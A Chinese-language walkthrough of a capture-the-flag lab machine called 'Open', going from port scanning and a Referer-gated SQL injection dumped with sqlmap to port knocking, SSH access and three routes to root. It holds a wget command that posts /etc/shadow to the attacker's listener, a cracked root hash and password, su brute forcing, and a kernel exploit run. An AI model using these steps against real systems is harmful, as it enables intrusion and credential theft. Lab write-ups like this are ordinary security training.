Open2

信息搜集

192.168.43.89

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
‍```gobuster
┌──(root㉿Eecho)-[~]
└─# rustscan -a 192.168.43.89 -- -A
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: Exploring the digital landscape, one IP at a time.

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 192.168.43.89:22
Open 192.168.43.89:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.43.89
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-08 17:45 +0800
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 17:45
Completed NSE at 17:45, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 17:45
Completed NSE at 17:45, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 17:45
Completed NSE at 17:45, 0.00s elapsed
Initiating ARP Ping Scan at 17:45
Scanning 192.168.43.89 [1 port]
Completed ARP Ping Scan at 17:45, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:45
Completed Parallel DNS resolution of 1 host. at 17:45, 4.50s elapsed
DNS resolution of 1 IPs took 4.50s. Mode: Async [#: 1, OK: 0, NX: 0, DR: 1, SF: 0, TR: 3, CN: 0]
Initiating SYN Stealth Scan at 17:45
Scanning 192.168.43.89 [2 ports]
Discovered open port 80/tcp on 192.168.43.89
Discovered open port 22/tcp on 192.168.43.89
Completed SYN Stealth Scan at 17:45, 0.01s elapsed (2 total ports)
Initiating Service scan at 17:45
Scanning 2 services on 192.168.43.89
Completed Service scan at 17:45, 6.03s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against 192.168.43.89
NSE: Script scanning 192.168.43.89.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 17:45
Completed NSE at 17:45, 1.29s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 17:45
Completed NSE at 17:45, 0.01s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 17:45
Completed NSE at 17:45, 0.00s elapsed
Nmap scan report for 192.168.43.89
Host is up, received arp-response (0.00057s latency).
Scanned at 2026-05-08 17:45:39 CST for 9s

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRmicDuAIhDTuUUa37WCIEK2z2F1aDUtiJpok20zMzkbe1B41ZvvydX3JHjf7mgl0F/HRQlGHiA23Il+dwr0YbbBa2ggd5gDl95RSHhuUff/DIC10OFbP3YU8A4ItFb8pR6dN8jr+zU1SZvfx6FWApSkTJmeLPq9PN889+ibvckJcOMqrm1Y05FW2VCWn8QRvwivnuW7iU51IVz7arFe8JShXOLu0ANNqZEXyJyWjaK+MqyOK6ZtoWdyinEQFua81+tBZuvS+qb+AG15/h5hBsS/tUgVk5SieY6cCRvkYFHB099e1ggrigfnN4Kq2GvzRUYkegjkPzJFQ7BhPyxT/kDKrlVcLX54sXrp0poU5R9SqSnnESXVM4HQfjIIjTrJFufc2nBF+4f8dH3qtQ+jJkcPEKNVSKKEDULEk1BSBdokhh1GidxQY7ok+hEb9/wPmo6RBeb1d5t11SP8R5UHyI/yucRpS2M8hpBaovJv8pX1VwpOz3tUDJWCpkB3K8HDk=
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBI2Hl4ZEYgnoDQflo03hI6346mXex6OPxHEjxDufHbkQZVosDPFwZttA8gloBLYLtvDVo9LZZwtv7F/EIiQoIHE=
| 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILRLvZKpSJkETalR4sqzJOh8a4ivZ8wGt1HfdV3OMNY1
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.62 ((Debian))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.62 (Debian)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Internal Management System - Login
MAC Address: 08:00:27:5E:F9:20 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=5/8%OT=22%CT=%CU=39589%PV=Y%DS=1%DC=D%G=N%M=080027%TM=
OS:69FDB0CC%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%T
OS:S=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5=
OS:M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=F
OS:E88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A
OS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%
OS:Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=
OS:A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=
OS:Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%
OS:T=40%CD=S)

Uptime guess: 45.509 days (since Tue Mar 24 05:33:32 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.57 ms 192.168.43.89

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 17:45
Completed NSE at 17:45, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 17:45
Completed NSE at 17:45, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 17:45
Completed NSE at 17:45, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.44 seconds
Raw packets sent: 25 (1.894KB) | Rcvd: 17 (1.366KB)
‍```
  • 22 SSH
  • 80 HTTP

目录扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(root㉿Eecho)-[~]
└─# gobuster dir -u http://192.168.43.89 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,back,cgi,jpg,json
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.43.89
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Extensions: back,cgi,jpg,json,php,txt,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.php (Status: 200) [Size: 1894]
secret.php (Status: 403) [Size: 1804]
server-status (Status: 403) [Size: 278]
Progress: 1764464 / 1764464 (100.00%)
===============================================================
Finished
===============================================================

访问/secret.php的时候返回403但是查看源码的时候可以发现js代码要我们输入open然后会跳转到sl.php(上面有大量空白,js代码在最下面)

image

怀疑是sql注入

image

在输入1的时候返回404,不管输入啥都返回404。

image

仔细查看可以发现Referer是http://192.168.43.89/sl.php我们是从/secret.php跳转到/sl.php的替换成/secret.php发现可以正常请求了

image

image

可以看到成功闭合了确实是sql注入。查看成功和失败的不同回显

image

image

失败返回NOT FOUND​成功返回SUCCESS。使用sql拖库

1
2
3
4
5
6
sqlmap -u "http://192.168.43.89/sl.php" \
--data="query_id=1" \
--referer="http://192.168.43.89/secret.php" \
--level=3 --risk=1 \
--string="SUCCESS" \
-D forest_temple -T users --dump

image

youareuser

ssh登录bingren用户发现登录不上,主页也同样登录不上

这是因为刚刚我们sql注入出来的数据中可以看到knock,而knock是一种在服务器上隐藏安全服务端口的防御机制

在默认情况下,服务器上的某些敏感端口(比如 SSH 的 22 端口、或者某些后台管理端口)在防火墙(iptables​ / firewalld)里是完全关闭(DROP)的,你直接去连接或扫描它,会显示端口关闭或超时。

但是,服务器后台运行着一个守护进程(通常是 knockd​),它在默默监听网卡的流量。如果你按照特定顺序、往特定的端口发送一串探测包,knockd​ 就会识别出这个“暗号”,并自动修改防火墙规则,​临时为你(也就是你的 IP)开放那个隐藏的端口

这里临时换网所以ip变了凑合着看吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
┌──(root㉿Eecho)-[~]
└─# knock -v 192.168.43.90 7777 8888 9999
hitting tcp 192.168.43.90:7777
hitting tcp 192.168.43.90:8888
hitting tcp 192.168.43.90:9999
┌──(root㉿Eecho)-[~]
└─# ssh bingren@192.168.43.90
The authenticity of host '192.168.43.90 (192.168.43.90)' can't be established.
ED25519 key fingerprint is: SHA256:O2iH79i8PgOwV/Kp8ekTYyGMG8iHT+YlWuYC85SbWSQ
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:1: [hashed name]
~/.ssh/known_hosts:2: [hashed name]
~/.ssh/known_hosts:3: [hashed name]
~/.ssh/known_hosts:11: [hashed name]
~/.ssh/known_hosts:16: [hashed name]
~/.ssh/known_hosts:17: [hashed name]
~/.ssh/known_hosts:18: [hashed name]
~/.ssh/known_hosts:19: [hashed name]
(2 additional names omitted)
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.43.90' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
bingren@192.168.43.90's password:
Linux Open 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Apr 21 00:22:31 2026 from 192.168.56.103
bingren@Open:~$

提权

bingren -> root

方案一

有个suid但是是查看系统时间的无法利用提权

1
2
3
4
5
6
bingren@Open:~$ sudo -l
Matching Defaults entries for bingren on Open:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User bingren may run the following commands on Open:
(ALL) NOPASSWD: /usr/bin/uptime

上传linpeas扫描搜集信息

image

cap_dac_read_search:这个特权允许程序绕过文件的读权限检查(DAC,Discretionary Access Control)以及目录的搜索/执行权限检查。

通俗解释:这意味着,带有这个权限的 wget可以读取系统上的任何文件,即使该文件属于 root 且设置了 600​(仅 root 可读写)权限。例如,它可以读取 /etc/shadow(哈希密码文件)或者 root 用户的 SSH 私钥。

我们可以启动一个本地监听器,或者让 wget​ 将敏感文件作为 POST 请求的数据发送到我们的监听端口(或者直接保存到本地,但 wget 主要是网络传输工具,最直接的方法是发送到本地环回口或你自己的 Kali 机上)。

1
2
#kali监听4444端口
nc -lvnp 4444
1
2
# wget读取shadow文件
/usr/bin/wget --post-file=/etc/shadow http://192.168.43.6:4444/

image

尝试读取root私钥没读到应该是没有。root的flag也读不出来(因为改名了)

尝试爆破root hash

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# echo 'root:$6$gGimwmwFTAxJQTKa$QTHDCEf6vJf8jp48kFJJzNN/PpOgtUHYsCxo2JN3rzCnhOPvY9/T9rr/jVXfwTQdA4ysRQpD1G3K24sB9L7pv/:20563:0:99999:7:::' > roothash.txt
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt roothash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 24 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
zacefron (root)
1g 0:00:00:00 DONE (2026-05-08 18:22) 9.090g/s 27927p/s 27927c/s 27927C/s 123456..dangerous
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

成功爆破出来

1
2
3
4
5
6
bingren@Open:~$ su root
Password:
root@Open:/home/bingren# id
uid=0(root) gid=0(root) groups=0(root)
root@Open:/home/bingren#

方案二

当然这里也可以使用suForce直接爆破root密码,因为前面我们通过john成功爆破了root的密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
bingren@Open:~$ cd /tmp/
bingren@Open:/tmp$ wget http://192.168.43.6/suForce
--2026-05-08 06:24:29-- http://192.168.43.6/suForce
Connecting to 192.168.43.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2430 (2.4K)
Saving to: ‘suForce’

suForce 100%[=======================================================================================================================>] 2.37K --.-KB/s in 0s

2026-05-08 06:24:29 (261 MB/s) - ‘suForce’ saved [2430/2430]

bingren@Open:/tmp$ chmod +x suForce
bingren@Open:/tmp$ wget http://192.168.43.6/rockyou.txt
--2026-05-08 06:25:24-- http://192.168.43.6/rockyou.txt
Connecting to 192.168.43.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 139921507 (133M) [text/plain]
Saving to: ‘rockyou.txt’

rockyou.txt 100%[=======================================================================================================================>] 133.44M 107MB/s in 1.2s

2026-05-08 06:25:25 (107 MB/s) - ‘rockyou.txt’ saved [139921507/139921507]

bingren@Open:/tmp$ ./suForce -u root -p rockyou.txt
_____
___ _ _ | ___|__ _ __ ___ ___
/ __| | | || |_ / _ \| '__/ __/ _ \
\__ \ |_| || _| (_) | | | (_| __/
|___/\__,_||_| \___/|_| \___\___|
───────────────────────────────────
code: d4t4s3c version: v1.0.0
───────────────────────────────────
❓ Usage: suForce [OPTIONS]

🌐 Get a user password with the su binary.

📋 Options:
-u <USER> Specify the username you want to attack.
-w <WORDLIST> Specify the path where the wordlist is located.
-h Display this help message and exit.

💡 Examples:
suForce -u root -w rockyou.txt
suForce -h

───────────────────────────────────

bingren@Open:/tmp$ ./suForce -u root -w rockyou.txt
_____
___ _ _ | ___|__ _ __ ___ ___
/ __| | | || |_ / _ \| '__/ __/ _ \
\__ \ |_| || _| (_) | | | (_| __/
|___/\__,_||_| \___/|_| \___\___|
───────────────────────────────────
code: d4t4s3c version: v1.0.0
───────────────────────────────────
🎯 Username | root
📖 Wordlist | rockyou.txt
🔎 Status | 713/14344392/0%/zacefron
💥 Password | zacefron
───────────────────────────────────

方案三

1
2
3
bingren@Open:/tmp$ uname -a
Linux Open 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 GNU/Linux
bingren@Open:/tmp$

可以看到内核版本是 4.19.0符合CVE-2026-31431的要求

https://github.com/0xShe/CVE-2026-31431

1
2
3
4
5
6
7
8
bingren@Open:/tmp$ gcc -static exploit.c -o exploit
bingren@Open:/tmp$ chmod +x exploit
bingren@Open:/tmp$ ./exploit
[*] Starting exploit...
[+] Exploit finished, running su...
# id
uid=0(root) gid=1000(bingren) groups=1000(bingren)
#